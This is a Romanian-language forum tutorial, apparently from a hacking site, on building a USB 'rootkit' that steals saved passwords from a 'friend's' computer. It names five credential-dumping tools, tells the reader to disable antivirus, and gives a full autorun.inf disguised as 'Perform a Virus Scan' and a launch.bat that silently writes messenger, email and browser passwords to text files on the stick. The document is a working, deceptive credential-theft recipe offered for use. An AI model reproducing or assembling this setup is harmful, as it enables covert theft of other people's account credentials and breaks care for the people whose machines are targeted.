Pasul I : Descriere
După cum știm cu toții, Windows-ul poate stoca intr-o baza de date, toate parolele utilizate in diferite servicii instalete de catre utilizator, cum ar fi fi MSN, Yahoo, AOL, Windows Messenger, si restul programelor de logare pe internet etc. Există cateva instrumente pentru recuperarea acestor parole de la locurile lor stocate.Folosind aceste instrumente şi un PenDrive USB, vă puteţi crea propriul "rootkit" pentru recuperarea parolelor de pe Computer-ul "prietenului" dvs.
Avem nevoie de următoarele programele pentru a crea "rootkit-ul":
1)
[Trebuie sa fiti inscris si conectat pentru a vedea acest link] recuperează parolele celor mai populare programe de Instant Messenger:
- MSN Messenge
- Windows Messenger,
- Yahoo Messenger,
- ICQ Lite 4.x/2003,
- AOL
- Instant Messenger prevăzute cu Netscape 7, Trillian, Miranda, şi GAIM.
2)
[Trebuie sa fiti inscris si conectat pentru a vedea acest link] recuperează parole de e-mail cum ar fi :
- Outlook
- Express,
- Microsoft Outlook 2000 (POP3 si SMTP),
- Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP si Conturi SMTP),
- IncrediMail,
- Eudora,
- NetscapeMail,
- Mozilla Thunderbird,
- Group Mail gratuit.
! Mail PassView poate recupera, de asemenea, parolele de Web-bazate pe conturi de e-mail (Hot-mail,Yahoo!, Gmail), dacă utilizați programe asociate din aceste conturi.
3)
[Trebuie sa fiti inscris si conectat pentru a vedea acest link] ,este un utilitar dezvăluirea parolele stocate de către
Browser-ul Internet Explorer. Acesta susține noul Internet Explorer 8.0,
precum şi aversiuni mai vechi ale Internet Explorer, v6.0 - v7.0
4)
[Trebuie sa fiti inscris si conectat pentru a vedea acest link] recuperează toate parolele protejate, stocate, inclusiv parolele Completare automată pentru Internet Explorer, site-uri protejate de parolă, parole MSN Explorer, și multe altele .
5)
[Trebuie sa fiti inscris si conectat pentru a vedea acest link] PasswordFox este un instrument de recuperare, care vă permite să vizualizați nume de utilizator și parolele stocate de Mozilla Firefox. ÃŽn mod implicit, PasswordFox afișează parolele stocate profilul dvs. curent, dar puteți cu ușurința sa selectați sa vizualizați parolele de oricare alt profil Firefox. Pentru fiecare parola inserata,următoarele informații care sunt afișate sunt: Inregistrare Index, web site-ului, numele de utilizator,
Parola.
--------------------------------------------------------------------------
Pasul II: Aplicație
NOTĂ: Trebuie să dezactivați temporar antivirus dumneavoastră înainte de a urma acești pași:
1) 1. Descarcă toate cele 5 instrumente, copiați numai executabilele(.exe) în Pendrive USB. Si anume:- mspass.exe, mailpv.exe, iepv.exe, pspv.exe şi passwordfox.exe în unitatea de USB.
2) 2. Creaţi un nou Notepad şi scrieţi următorul text în acesta:
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
Salvati Notepad-ul şi redenumiți-il din New Text Document.txt în autorun.inf
Acum, copiați fișierul autorun.inf pe memoria USB.
3) Creați un alt Notepad și scrieți următorul text :
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
Salvati Notepad-ul şi redenumiți-il din New Text Document.txt în launch.bat
Acum, copiați de asemenea și launch.bat pe memoria USB.
--------------------------------------------------------------------------
Pasul III: Alegem un "prieten"
1) Introduceți pen-driveul şi va apărea o fereastra pop-up. (Acest lucru se datorează faptului că, avem creat un pen-drive autorun).
2) ÃŽn fereastra pop-up, selectați prima opțiune (Perform a Virus Scan)
3) Acum, toate instrumentele se executa în în fundal.
(Acest proces durează câteva secunde). Parole sunt stocate în fișiere .txt
4)4. Scoateți pen-driveul și veți vedea parolele stocate în fișiere .txt
Acest proces functioneaza pe Windows 2000, XP, Vista și 7
NOTĂ: Această procedură va recupera doar parole stocate (dacă este cazul), cu privire la Computer. Nu sunt responsabil în cazul unui eșec.
Acasa 
